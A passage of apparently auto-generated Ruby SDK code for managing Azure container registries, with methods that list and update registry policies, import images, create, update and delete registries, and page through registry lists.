# @return [RegistryPolicies] operation results.
#
def list_policies(resource_group_name, registry_name, custom_headers:nil)
response = list_policies_async(resource_group_name, registry_name, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# Lists the policies for the specified container registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def list_policies_with_http_info(resource_group_name, registry_name, custom_headers:nil)
list_policies_async(resource_group_name, registry_name, custom_headers:custom_headers).value!
end
#
# Lists the policies for the specified container registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def list_policies_async(resource_group_name, registry_name, custom_headers:nil)
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MinLength': '1'" if !resource_group_name.nil? && resource_group_name.length < 1
fail ArgumentError, 'registry_name is nil' if registry_name.nil?
fail ArgumentError, "'registry_name' should satisfy the constraint - 'MaxLength': '50'" if !registry_name.nil? && registry_name.length > 50
fail ArgumentError, "'registry_name' should satisfy the constraint - 'MinLength': '5'" if !registry_name.nil? && registry_name.length < 5
fail ArgumentError, "'registry_name' should satisfy the constraint - 'Pattern': '^[a-zA-Z0-9]*$'" if !registry_name.nil? && registry_name.match(Regexp.new('^^[a-zA-Z0-9]*$$')).nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerRegistry/registries/{registryName}/listPolicies'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'registryName' => registry_name},
query_params: {'api-version' => @client.api_version},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:get, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::RegistryPolicies.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Updates the policies for the specified container registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param registry_policies_update_parameters [RegistryPolicies] The parameters
# for updating policies of a container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RegistryPolicies] operation results.
#
def update_policies(resource_group_name, registry_name, registry_policies_update_parameters, custom_headers:nil)
response = update_policies_async(resource_group_name, registry_name, registry_policies_update_parameters, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param registry_policies_update_parameters [RegistryPolicies] The parameters
# for updating policies of a container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [Concurrent::Promise] promise which provides async access to http
# response.
#
def update_policies_async(resource_group_name, registry_name, registry_policies_update_parameters, custom_headers:nil)
# Send request
promise = begin_update_policies_async(resource_group_name, registry_name, registry_policies_update_parameters, custom_headers:custom_headers)
promise = promise.then do |response|
# Defining deserialization method.
deserialize_method = lambda do |parsed_response|
result_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::RegistryPolicies.mapper()
parsed_response = @client.deserialize(result_mapper, parsed_response)
end
# Waiting for response.
@client.get_long_running_operation_result(response, deserialize_method)
end
promise
end
#
# Copies an image to this container registry from the specified container
# registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param parameters [ImportImageParameters] The parameters specifying the image
# to copy and the source container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
#
def begin_import_image(resource_group_name, registry_name, parameters, custom_headers:nil)
response = begin_import_image_async(resource_group_name, registry_name, parameters, custom_headers:custom_headers).value!
nil
end
#
# Copies an image to this container registry from the specified container
# registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param parameters [ImportImageParameters] The parameters specifying the image
# to copy and the source container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def begin_import_image_with_http_info(resource_group_name, registry_name, parameters, custom_headers:nil)
begin_import_image_async(resource_group_name, registry_name, parameters, custom_headers:custom_headers).value!
end
#
# Copies an image to this container registry from the specified container
# registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param parameters [ImportImageParameters] The parameters specifying the image
# to copy and the source container registry.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def begin_import_image_async(resource_group_name, registry_name, parameters, custom_headers:nil)
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MinLength': '1'" if !resource_group_name.nil? && resource_group_name.length < 1
fail ArgumentError, 'registry_name is nil' if registry_name.nil?
fail ArgumentError, "'registry_name' should satisfy the constraint - 'MaxLength': '50'" if !registry_name.nil? && registry_name.length > 50
fail ArgumentError, "'registry_name' should satisfy the constraint - 'MinLength': '5'" if !registry_name.nil? && registry_name.length < 5
fail ArgumentError, "'registry_name' should satisfy the constraint - 'Pattern': '^[a-zA-Z0-9]*$'" if !registry_name.nil? && registry_name.match(Regexp.new('^^[a-zA-Z0-9]*$$')).nil?
fail ArgumentError, 'parameters is nil' if parameters.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
# Serialize Request
request_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::ImportImageParameters.mapper()
request_content = @client.serialize(request_mapper, parameters)
request_content = request_content != nil ? JSON.generate(request_content, quirks_mode: true) : nil
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerRegistry/registries/{registryName}/importImage'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'registryName' => registry_name},
query_params: {'api-version' => @client.api_version},
body: request_content,
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:post, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200 || status_code == 202
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
result
end
promise.execute
end
#
# Creates a container registry with the specified parameters.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param registry [Registry] The parameters for creating a container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [Registry] operation results.
#
def begin_create(resource_group_name, registry_name, registry, custom_headers:nil)
response = begin_create_async(resource_group_name, registry_name, registry, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# Creates a container registry with the specified parameters.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param registry [Registry] The parameters for creating a container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def begin_create_with_http_info(resource_group_name, registry_name, registry, custom_headers:nil)
begin_create_async(resource_group_name, registry_name, registry, custom_headers:custom_headers).value!
end
#
# Creates a container registry with the specified parameters.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param registry [Registry] The parameters for creating a container registry.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def begin_create_async(resource_group_name, registry_name, registry, custom_headers:nil)
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MinLength': '1'" if !resource_group_name.nil? && resource_group_name.length < 1
fail ArgumentError, 'registry_name is nil' if registry_name.nil?
fail ArgumentError, "'registry_name' should satisfy the constraint - 'MaxLength': '50'" if !registry_name.nil? && registry_name.length > 50
fail ArgumentError, "'registry_name' should satisfy the constraint - 'MinLength': '5'" if !registry_name.nil? && registry_name.length < 5
fail ArgumentError, "'registry_name' should satisfy the constraint - 'Pattern': '^[a-zA-Z0-9]*$'" if !registry_name.nil? && registry_name.match(Regexp.new('^^[a-zA-Z0-9]*$$')).nil?
fail ArgumentError, 'registry is nil' if registry.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
# Serialize Request
request_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::Registry.mapper()
request_content = @client.serialize(request_mapper, registry)
request_content = request_content != nil ? JSON.generate(request_content, quirks_mode: true) : nil
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerRegistry/registries/{registryName}'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'registryName' => registry_name},
query_params: {'api-version' => @client.api_version},
body: request_content,
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:put, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200 || status_code == 201
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::Registry.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
# Deserialize Response
if status_code == 201
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::Registry.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Deletes a container registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
#
def begin_delete(resource_group_name, registry_name, custom_headers:nil)
response = begin_delete_async(resource_group_name, registry_name, custom_headers:custom_headers).value!
nil
end
#
# Deletes a container registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def begin_delete_with_http_info(resource_group_name, registry_name, custom_headers:nil)
begin_delete_async(resource_group_name, registry_name, custom_headers:custom_headers).value!
end
#
# Deletes a container registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def begin_delete_async(resource_group_name, registry_name, custom_headers:nil)
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MinLength': '1'" if !resource_group_name.nil? && resource_group_name.length < 1
fail ArgumentError, 'registry_name is nil' if registry_name.nil?
fail ArgumentError, "'registry_name' should satisfy the constraint - 'MaxLength': '50'" if !registry_name.nil? && registry_name.length > 50
fail ArgumentError, "'registry_name' should satisfy the constraint - 'MinLength': '5'" if !registry_name.nil? && registry_name.length < 5
fail ArgumentError, "'registry_name' should satisfy the constraint - 'Pattern': '^[a-zA-Z0-9]*$'" if !registry_name.nil? && registry_name.match(Regexp.new('^^[a-zA-Z0-9]*$$')).nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerRegistry/registries/{registryName}'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'registryName' => registry_name},
query_params: {'api-version' => @client.api_version},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:delete, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200 || status_code == 202 || status_code == 204
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
result
end
promise.execute
end
#
# Updates a container registry with the specified parameters.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param registry_update_parameters [RegistryUpdateParameters] The parameters
# for updating a container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [Registry] operation results.
#
def begin_update(resource_group_name, registry_name, registry_update_parameters, custom_headers:nil)
response = begin_update_async(resource_group_name, registry_name, registry_update_parameters, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# Updates a container registry with the specified parameters.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param registry_update_parameters [RegistryUpdateParameters] The parameters
# for updating a container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def begin_update_with_http_info(resource_group_name, registry_name, registry_update_parameters, custom_headers:nil)
begin_update_async(resource_group_name, registry_name, registry_update_parameters, custom_headers:custom_headers).value!
end
#
# Updates a container registry with the specified parameters.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param registry_update_parameters [RegistryUpdateParameters] The parameters
# for updating a container registry.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def begin_update_async(resource_group_name, registry_name, registry_update_parameters, custom_headers:nil)
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MinLength': '1'" if !resource_group_name.nil? && resource_group_name.length < 1
fail ArgumentError, 'registry_name is nil' if registry_name.nil?
fail ArgumentError, "'registry_name' should satisfy the constraint - 'MaxLength': '50'" if !registry_name.nil? && registry_name.length > 50
fail ArgumentError, "'registry_name' should satisfy the constraint - 'MinLength': '5'" if !registry_name.nil? && registry_name.length < 5
fail ArgumentError, "'registry_name' should satisfy the constraint - 'Pattern': '^[a-zA-Z0-9]*$'" if !registry_name.nil? && registry_name.match(Regexp.new('^^[a-zA-Z0-9]*$$')).nil?
fail ArgumentError, 'registry_update_parameters is nil' if registry_update_parameters.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
# Serialize Request
request_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::RegistryUpdateParameters.mapper()
request_content = @client.serialize(request_mapper, registry_update_parameters)
request_content = request_content != nil ? JSON.generate(request_content, quirks_mode: true) : nil
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerRegistry/registries/{registryName}'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'registryName' => registry_name},
query_params: {'api-version' => @client.api_version},
body: request_content,
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:patch, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200 || status_code == 201
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::Registry.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
# Deserialize Response
if status_code == 201
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::Registry.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Updates the policies for the specified container registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param registry_policies_update_parameters [RegistryPolicies] The parameters
# for updating policies of a container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RegistryPolicies] operation results.
#
def begin_update_policies(resource_group_name, registry_name, registry_policies_update_parameters, custom_headers:nil)
response = begin_update_policies_async(resource_group_name, registry_name, registry_policies_update_parameters, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# Updates the policies for the specified container registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param registry_policies_update_parameters [RegistryPolicies] The parameters
# for updating policies of a container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def begin_update_policies_with_http_info(resource_group_name, registry_name, registry_policies_update_parameters, custom_headers:nil)
begin_update_policies_async(resource_group_name, registry_name, registry_policies_update_parameters, custom_headers:custom_headers).value!
end
#
# Updates the policies for the specified container registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param registry_policies_update_parameters [RegistryPolicies] The parameters
# for updating policies of a container registry.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def begin_update_policies_async(resource_group_name, registry_name, registry_policies_update_parameters, custom_headers:nil)
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MinLength': '1'" if !resource_group_name.nil? && resource_group_name.length < 1
fail ArgumentError, 'registry_name is nil' if registry_name.nil?
fail ArgumentError, "'registry_name' should satisfy the constraint - 'MaxLength': '50'" if !registry_name.nil? && registry_name.length > 50
fail ArgumentError, "'registry_name' should satisfy the constraint - 'MinLength': '5'" if !registry_name.nil? && registry_name.length < 5
fail ArgumentError, "'registry_name' should satisfy the constraint - 'Pattern': '^[a-zA-Z0-9]*$'" if !registry_name.nil? && registry_name.match(Regexp.new('^^[a-zA-Z0-9]*$$')).nil?
fail ArgumentError, 'registry_policies_update_parameters is nil' if registry_policies_update_parameters.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
# Serialize Request
request_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::RegistryPolicies.mapper()
request_content = @client.serialize(request_mapper, registry_policies_update_parameters)
request_content = request_content != nil ? JSON.generate(request_content, quirks_mode: true) : nil
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerRegistry/registries/{registryName}/updatePolicies'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'registryName' => registry_name},
query_params: {'api-version' => @client.api_version},
body: request_content,
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:post, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200 || status_code == 202
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::RegistryPolicies.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Lists all the container registries under the specified resource group.
#
# @param next_page_link [String] The NextLink from the previous successful call
# to List operation.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RegistryListResult] operation results.
#
def list_by_resource_group_next(next_page_link, custom_headers:nil)
response = list_by_resource_group_next_async(next_page_link, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# Lists all the container registries under the specified resource group.
#
# @param next_page_link [String] The NextLink from the previous successful call
# to List operation.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def list_by_resource_group_next_with_http_info(next_page_link, custom_headers:nil)
list_by_resource_group_next_async(next_page_link, custom_headers:custom_headers).value!
end
#
# Lists all the container registries under the specified resource group.
#
# @param next_page_link [String] The NextLink from the previous successful call
# to List operation.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def list_by_resource_group_next_async(next_page_link, custom_headers:nil)
fail ArgumentError, 'next_page_link is nil' if next_page_link.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = '{nextLink}'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
skip_encoding_path_params: {'nextLink' => next_page_link},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:get, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::RegistryListResult.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Lists all the container registries under the specified subscription.
#
# @param next_page_link [String] The NextLink from the previous successful call
# to List operation.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RegistryListResult] operation results.
#
def list_next(next_page_link, custom_headers:nil)
response = list_next_async(next_page_link, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# Lists all the container registries under the specified subscription.
#
# @param next_page_link [String] The NextLink from the previous successful call
# to List operation.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def list_next_with_http_info(next_page_link, custom_headers:nil)
list_next_async(next_page_link, custom_headers:custom_headers).value!
end
#
# Lists all the container registries under the specified subscription.
#
# @param next_page_link [String] The NextLink from the previous successful call
# to List operation.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def list_next_async(next_page_link, custom_headers:nil)
fail ArgumentError, 'next_page_link is nil' if next_page_link.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = '{nextLink}'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
skip_encoding_path_params: {'nextLink' => next_page_link},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:get, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
